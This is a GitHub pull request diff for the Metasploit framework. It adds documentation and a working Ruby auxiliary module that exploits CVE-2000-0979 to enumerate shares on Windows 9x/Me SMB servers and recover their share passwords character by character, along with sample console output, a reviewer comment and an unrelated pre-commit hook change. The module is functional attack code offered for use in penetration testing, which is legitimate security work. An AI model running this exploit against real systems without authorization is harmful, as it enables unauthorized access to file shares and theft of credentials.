Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
89 changes: 89 additions & 0 deletions documentation/modules/auxiliary/scanner/smb/cve_2000_0979.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,89 @@
# Description

This module exploits CVE-2000-0979, an information disclosure vulnerability in the
share-level password authentication of Microsoft Windows 9x/Me SMB servers. The server
validates share passwords one character at a time, allowing an attacker to enumerate the
correct password byte-by-byte based on the server response. This significantly reduces
the brute-force complexity from exponential to linear in the password length.

A zero-length password is always accepted by vulnerable servers. Each subsequent character
can then be brute-forced individually by observing the authentication response.

The module first enumerates available shares on the target via a NetShareEnum request,
then attempts to recover the password for each share.

## Vulnerable Systems

- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows 98 SE
- Microsoft Windows Me

___

# Usage

```
msf6 > use auxiliary/scanner/smb/cve_2000_0979
msf6 auxiliary(scanner/smb/cve_2000_0979) > set RHOSTS 192.168.1.100
RHOSTS => 192.168.1.100
msf6 auxiliary(scanner/smb/cve_2000_0979) > run

[*] Starting CVE-2000-0979 SMB Share Password Enumerator
[+] Number of shares: 3
[+] Share names:
[+] PUBLIC
[+] PRIVATE
[+] IPC$
[*] Brute-forcing password for share: PUBLIC
[+] Empty password works for share: PUBLIC
[*] Brute-forcing password for share: PRIVATE
[*] Share PRIVATE - confirmed so far: s
[*] Share PRIVATE - confirmed so far: se
[*] Share PRIVATE - confirmed so far: sec
[*] Share PRIVATE - confirmed so far: secr
[*] Share PRIVATE - confirmed so far: secre
[*] Share PRIVATE - confirmed so far: secret
[+] Password found for share PRIVATE: secret
[*] Auxiliary module execution completed
```

___

## Options

### RHOSTS

The target host running a vulnerable Windows 9x/Me SMB server. Typically port 139 (NetBIOS).

### RPORT

The SMB port to connect to. Defaults to `139`.

### SMBName

The target's NetBIOS hostname, sent in the NBSS Session Request. Defaults to the
wildcard `*SMBSERVER`.

- **Leave at the default (`*SMBSERVER`)** if you do not know the target's NetBIOS
name. The module will fall back to a UDP Node Status query (RFC 1002, port 137)
when the server rejects the wildcard with `CALLED_NAME_NOT_PRESENT`, and retry
the session request with the resolved name.
- **Set it explicitly** (e.g. `set SMBName WIN95`) when you already know the name
or the target blocks UDP/137. Auto-discovery is skipped in that case, so the
server's rejection propagates immediately instead of stalling on a UDP probe.

You can find the NetBIOS name from any host that can reach UDP/137 on the target
using `nmblookup -A <ip>`, `nbtscan <ip>`, or `nmap -sU -p137 --script nbstat <ip>`.

### DELAY

Optional delay (in seconds) between password probe attempts. Defaults to `0`. Can be
useful to avoid triggering rate limiting or network issues on unstable connections.

___

## References

- [CVE-2000-0979](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0979)
- [SecurityFriday Share Password Checker](http://www.securityfriday.com/tools/SPC.html)
186 changes: 186 additions & 0 deletions modules/auxiliary/scanner/smb/cve_2000_0979.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,186 @@
class MetasploitModule < Msf::Auxiliary

include Msf::Exploit::Remote::SMB::Client
include Msf::Exploit::Remote::SMB::Client::Authenticated
include Msf::Auxiliary::Report

RAP_SHARE_TYPES = {
0 => 'DISK',
1 => 'PRINTER',
2 => 'DEVICE',
3 => 'IPC'
}.freeze

def initialize(info = {})
super(
update_info(
info,
'Name' => 'CVE-2000-0979 SMB Share Password Enumerator',
'Description' => %q{
This module exploits CVE-2000-0979, an information disclosure vulnerability
in the share-level password authentication of Microsoft Windows 9x/Me SMB
servers. The server validates passwords one character at a time, allowing an
attacker to enumerate the correct password byte-by-byte based on the server
response. A zero-length password is always accepted, and each subsequent
character can be brute-forced individually, significantly reducing the search
space required to recover the full share password.
},
'Author' => [
'Zoltan Balazs <zoltan1.balazs@gmail.com> @zh4ck',
'Azbil SecurityFriday Co Ltd'
],
'References' => [
['CVE', '2000-0979'],
['URL', 'http://www.securityfriday.com/tools/SPC.html'],
],
'DisclosureDate' => '2000-10-10',
'License' => MSF_LICENSE,
'Notes' => {
'AKA' => ['Share Password Checker'],
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [IOC_IN_LOGS]
}
)
)

register_options(
[
OptInt.new('DELAY', [false, 'Add delay between password probes', 0]),
Opt::RPORT(139),
OptString.new('SMBName', [true, 'NetBIOS name of the target Win9x/Me machine', nil])
]
)
end

def run
delay = datastore['DELAY']
print_status('Starting CVE-2000-0979 SMB Share Password Enumerator')

# Phase 1: Connect and enumerate shares via RAP
connect(versions: [1], backend: :ruby_smb, direct: false)
smb_login

shares = enum_shares_rap
if shares.empty?
print_status('No shares found')
disconnect
return
end

disconnect

# Phase 2: Reconnect and brute-force share passwords
connect(versions: [1], backend: :ruby_smb, direct: false)
smb_login

brute_force_shares(shares, delay)

disconnect
rescue ::Interrupt
raise $ERROR_INFO
rescue Rex::ConnectionTimeout => e
print_error(e.to_s)
rescue Rex::Proto::SMB::Exceptions::LoginError => e
print_error(e.to_s)
rescue RubySMB::Error::RubySMBError => e
print_error("RubySMB error: #{e}")
rescue StandardError => e
print_error("#{e.class}: #{e}")
ensure
begin
disconnect
rescue StandardError # rubocop:disable Lint/SuppressedException
end
end

private

def enum_shares_rap
shares = []
tree = simple.client.tree_connect("\\\\#{rhost}\\IPC$")
begin
tree.net_share_enum.each do |entry|
type_str = RAP_SHARE_TYPES.fetch(entry[:type], "UNKNOWN(#{entry[:type]})")
shares << entry[:name]
print_good("#{entry[:name]} - (#{type_str})")
end
ensure
begin
tree.disconnect!
rescue StandardError # rubocop:disable Lint/SuppressedException
end
end
print_good("Number of shares: #{shares.length}")
shares
rescue StandardError => e
print_error("Share enumeration failed: #{e}")
[]
end

def try_tree_connect(share_path, password_bytes)
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Should be able to replace this and use the password parameter to #tree_connect that was added in your earlier PR.

pass_str = password_bytes.pack('C*')
tree = simple.client.tree_connect(share_path, password: pass_str)
vprint_status(
"TreeConnect #{share_path} pw=#{password_bytes.map { |b| '%02X' % b }.join} STATUS_SUCCESS"
)
{ success: true, tree: tree }
rescue RubySMB::Error::UnexpectedStatusCode => e
vprint_status(
"TreeConnect #{share_path} pw=#{password_bytes.map { |b| '%02X' % b }.join} #{e.status_code.name}"
)
{ success: false, tree: nil }
rescue StandardError => e
vprint_error("Tree connect error: #{e}")
{ success: false, tree: nil }
end

def brute_force_shares(shares, delay)
shares.each do |share|
share_path = "\\\\#{rhost}\\#{share}"
print_status("Brute-forcing password for share: #{share}")

password = [0x20]

loop do
result = try_tree_connect(share_path, password)

if result[:success]
if password[0] == 0x20 && password[1] == 0x20
print_good("Empty password works for share: #{share}")
result[:tree]&.disconnect!
break
end

confirmed = password.select { |v| v < 128 }.map(&:chr).join
print_status("Share #{share} - confirmed so far: #{confirmed}")

result[:tree]&.disconnect!
password.push(0x20)
else
password[-1] += 1

vprint_status(
password.select { |v| v < 128 }.map(&:chr).join
)

sleep(delay) if delay > 0
sleep(0.01)

if password[-1] > 128
found = password.select { |v| v < 128 }.map(&:chr).join
if password.length > 1
print_good("Password found for share #{share}: #{found}")
else
print_status("Password not found for share: #{share}")
end
break
end
end
rescue IOError, SocketError, SystemCallError => e
print_error(e.message)
break
end
end
end
end
20 changes: 17 additions & 3 deletions tools/dev/pre-commit-hook.rb
Original file line number Diff line number Diff line change
Expand Up @@ -75,10 +75,24 @@ def merge_error_message
else
puts "--- Checking new and changed module syntax with tools/dev/msftidy.rb ---"

command = %w[bundle exec ruby ./tools/dev/msftidy.rb] + files_to_check
msftidy_output, status = ::Open3.capture2(*command)
# When RVM is present and the project declares a Ruby version/gemset,
# prefix the command with `rvm <target> do` so bundle resolves gems
# from the correct gemset rather than the system Ruby's paths.
rvm_bin = File.expand_path('~/.rvm/bin/rvm')
if File.executable?(rvm_bin) && (File.exist?('.ruby-version') || File.exist?('.ruby-gemset'))
ruby_ver = (File.read('.ruby-version').strip rescue nil)
gemset = (File.read('.ruby-gemset').strip rescue nil)
prefix = [rvm_bin, [ruby_ver, gemset].compact.join('@'), 'do']
else
prefix = []
end

gemfile_env = File.exist?('Gemfile.local') ? { 'BUNDLE_GEMFILE' => 'Gemfile.local' } : {}

command = prefix + %w[bundle exec ruby ./tools/dev/msftidy.rb] + files_to_check
msftidy_output, status = ::Open3.capture2(gemfile_env, *command)
valid = false unless status.success?
puts "#{fname} - msftidy check passed" if msftidy_output.empty?
puts "msftidy check passed" if msftidy_output.empty? && status.success?
msftidy_output.each_line do |line|
puts line
end
Expand Down